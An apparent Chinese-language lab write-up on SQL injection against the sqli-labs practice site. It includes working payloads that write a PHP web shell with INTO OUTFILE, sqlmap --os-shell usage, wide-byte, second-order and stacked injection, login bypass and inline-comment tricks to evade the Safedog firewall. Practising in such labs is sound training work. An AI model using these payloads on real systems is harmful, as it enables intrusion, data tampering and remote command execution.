SQL注入其他方法

1、使用手工注入的方式写入一句话木马

先决条件

是否root用户(查看配置文件)、绝对路径、配置文件(secure-file-priv=

具体实现

以sqli-labs的Less-1为例

首先尝试注入测试

?id=1222' union select 1,2,3 --+

image-20250821162540389

尝试写入恶意代码发现报错

?id=1222' union select 1,<?php system($_GET['str']); ?>,3 into outfile 'D:/phpStudy/WWW/3.php' --+

image-20250821162738091

# 方法一将<?php system($_GET["str"]); ?>做一个十六进制编码
?id=1111' union select 1,0x3c3f7068702073797374656d28245f4745545b27737472275d293b203f3e,3 into outfile 'D:/phpStudy/WWW/2.php'--+

# 方法二将恶意代码使用单引号括起来,PHP代码必须用单引号包裹
?id=1222' union select 1,'<?php system($_GET["str"]); ?>',3 into outfile 'D:\\phpStudy\\WWW\\3.php' --+

# 使用的路径符号不同,Windows路径应使用双反斜杠\\或正斜杠/
?id=1222' union select 1,'<?php system($_GET["str"]); ?>',3 into outfile 'D:/phpStudy/WWW/4.php' --+

image-20250821163545846

查看代码

image-20250821163610359

2、使用一下sqlmap工具的–os-shell选项

sqlmap -u "http://192.168.142.144/sqli-labs/Less-1/?id=1" --os-shell --fresh-queries
# -u 指定 url
# --os-shell 特定情况下直接获取目标系统的 shell
# --fresh-queries 不适用缓存

# 这里手动输入输入木马的路径
# 也可以使用 --writable-dir="D:/phpStudy/www/" 指定路径
# sqlmap -u "http://192.168.142.144/sqli-labs/Less-1/?id=1" --os-shell --writable-dir="D:/phpStudy/www/" --fresh-queries

image-20250821190917080

这里成功获取到了shell,测试shell

image-20250821191119125

3、使用sqlmap工具查看security数据库users表的所有字段

sqlmap -u "http://192.168.142.144/sqli-labs/Less-1/?id=1" --batch -T"users" --columns --fresh-queries
# -T"users" 指定表名为 users 表
# --columns 列出所有字段名称

image-20250821191447877

4、演示宽字节注入,堆叠注入,二次注入,万能密码,解释相关原理

宽字节注入

利用数据库和应用程序对字符编码处理不一致(例如数据库使用GBK编码)的漏洞,让转义符失效,使原本被转义的敏感字符(如单引号')可以正常生效,进而闭合SQL语句完成注入。

首先进行SQL注入尝试,发现单引号'‘被反斜杠\转义

# sqli-labs/Less-32
?id=1'

image-20250821164154315

被转义想想办法让反斜杠不进行转义,这时该使用宽字节注入。已知数字1的ascii码表中的十六进制为31,并且ascii码表中只记录了128个字符,每个字符占一个字节并且第一个比特为0。中文字符就占两个字节,那么在反斜杠之前添加一个ascii码大于128的字符写法让其和反斜杠\拼接成一个汉字这样单引号就能正常生效了。(单引号'的ascii十六进制为27,\的ascii十六进制为5c)

?id=-1%df%27union%20select%201,user(),3--+

注入出了当前的数据库用户

image-20250821170558181

二次注入

攻击者将含有恶意SQL代码的输入先存入数据库中。之后,当应用程序再次从数据库取出该数据,并未经检查便用于执行新的SQL查询时,触发的注入漏洞。对数据库的数据无条件信任

# sqli-labs/Less-24
# 首先我们要向数据库写入恶意代码
# 注册用户 admin'# (密码1234),单引号是为了在查询语句中与前面的单引号闭合,# 是为了注释后续的语句。
# 目的是修改admin用户的密码

image-20250821192151325

查看此时数据库 admin 用户和 admin’# 用户的情况

image-20250821192328300

接下来开始修改密码,修改为123456

image-20250821192616203

返回数据库查看密码修改情况,发现 admin 用户的密码被修改了,反而 admin’# 用户的密码没有被修改

image-20250821193039275

堆叠注入

攻击者利用分号;在一次数据库查询请求后追加执行额外的SQL语句。堆叠注入可以执行任意SQL语句(如INSERT, UPDATE, DROP等)。

?id=1' ;selext 1,2,3--+
# 简单堆叠语句尝试,发现页面正常显示结果,说明能够进行堆叠注入
# 接下来向数据新插入一个用户

image-20250821194751048

查看数据库情况

image-20250821194912496

新加一个用户

?id=1' ;insert into users(id,username,password) value(114,'student','514')--+

image-20250821195029202

再次查看数据库,发现新添加了一个用户

image-20250821195049246

万能密码

通过在登录查询中构造一个永真条件,来绕过用户名和密码验证。

#输入username:
111' or 1=1--+

#输入password:
1234

#发现报错,因为引号闭合出问题

image-20250821195652502

#输入username:
111' or 1='1--+

#输入password:
1234
# 成功登录上 admin'# 用户

image-20250821200135973

#输入username:
111' or 1='1--+

#输入password:
123456
# 成功登录上 admin 用户

image-20250821200154478

代码解析

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

# 传入参数
$uname=-1' or 1='1--+
$passwd=1234
# 语句在闭合时变成
SELECT username, password
FROM users
WHERE username='-1' or 1='1-- ' and password='1234'
LIMIT 0,1

#逻辑变为(username='-1' OR 1='1-- ') AND password='1234',只要 1='1-- ' 成立(恒真),仍需 password='1234' 匹配。

#若数据库真有密码为 1234 的记录,就会返回该条用户;否则仍视为“登录失败”,页面输出 mysql_error() 提示。

5、尝试手动绕过安全狗的限制,注入出来security数据库的几张表名称

以 sqli-labs/Less-1 为例

首先尝试使用,联合查询

?id=1' union select 1,2,3 --+
# 发现被拦截了,肯定是语句中某个关键词触发了安全狗的规则

image-20250821201026920

尝试找出触发字段

?id=1' --+

image-20250821201323295

?id=1' union --+

image-20250821201402392

?id=1111' select --+

image-20250821203634133

?id=1' union select --+
# 经过对比发现检测关键字为 union select 两个单词的联合

image-20250821201444680

# 最后测试大小写混写
?id=1' union SEleCt --+
# 还是失败

image-20250821201741066

如何绕过

内联注释

内联注释是 MySQL 数据库特有的一种注释语法,其格式为 /*! ... */。它与标准的多行注释 /* ... */ 类似。/*!xxxxxxx*/ !后面的语句会当作SQL语句直接执行。

还可以指定版本号,注释中的代码只有在 MySQL 服务器版本大于或等于指定版本时才会被执行。

# 尝试使用内联注释绕过WAF
?id=1' union /*!select*/--+
# 但是还是被拦截了,看来简单内联注释还不行

image-20250821202648428

?id=-1' %20UNION%20/*!23456*/SELECT%201,2,3--+
# 解码后
?id=-1' UNION /*!23456*/SELECT 1,2,3 --+
# %20 是空格的 ascii 码的十六进制
# /*!23456*/目的:将UNIONSELECT关键词分开,避免被安全设备检测到"UNION SELECT"这个常见的攻击模式

image-20250821202903075

尝试注入出其他信息

数据库信息

?id=1111' UNION /*!23456*/SELECT 1,database/*!23456*/(),3 --+

# 这里尝试过使用 data/*!23456*/base() ,会报错
# 原因:根据内联注释的规则,MySQL会执行注释中的代码。但在这个位置,注释是空的(/*!23456*/ 里面没有内容),所以它等价于一个空字符串或被忽略
# 所以 data/*!23456*/base() 实际上等于 data base(),服务器识别不出来database() 这个函数,所以会报错

image-20250821204120274

# 绕过失败
?id=1111' UNION /*!23456*/SELECT 1,(select group_/*!23456*/concat(table_/*!23456*/name) from information_/*!23456*/schema.tables where table_schema=security),3 --+

image-20250821205315231

http://192.168.142.144/sqli-labs/Less-1/?id=1' /*!23456*/and/*!23456*/ascii(substr(database(),1,1))=115 --+

http://192.168.142.144/sqli-labs/Less-1/?id=1' union select from information_schema where table_schema=seccurity--+

?id=1' /*!/*!UNION*/ /*!SELECT*/*/ 1,2,3
/*!/*!FROM*/ information_schema.tables*/*/
/*!/*!WHERE*/ table_schema='security'*/*/--+

?id=1111’ union select 1,0x3c3f7068702073797374656d28245f4745545b27737472275d293b203f3e,3 into outfile ‘D:/phpStudy/WWW/2.php’–+

3c3f7068702073797374656d28245f4745545b27737472275d293b203f3e

–current-user

–dump

–level 3

–risk

-p

宽字节注入:利用数据库和应用程序对字符编码处理不一致的漏洞,让转义符失效,使原本被转义的敏感字符(如单引号')可以正常生效,进而闭合SQL语句完成注入。

二次注入:攻击者将含有恶意SQL代码的输入先存入数据库中。之后,当应用程序再次从数据库取出该数据,并未经检查便用于执行新的SQL查询时,触发的注入漏洞。对数据库的数据无条件信任

堆叠注入:攻击者利用分号;在一次数据库查询请求后追加执行额外的SQL语句。堆叠注入可以执行任意SQL语句(如INSERT, UPDATE, DROP等)。

万能密码:通过在登录查询中构造一个永真条件,来绕过用户名和密码验证。

Author: wickt42
Link: http://example.com/2025/08/21/SQL注入其他方法/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.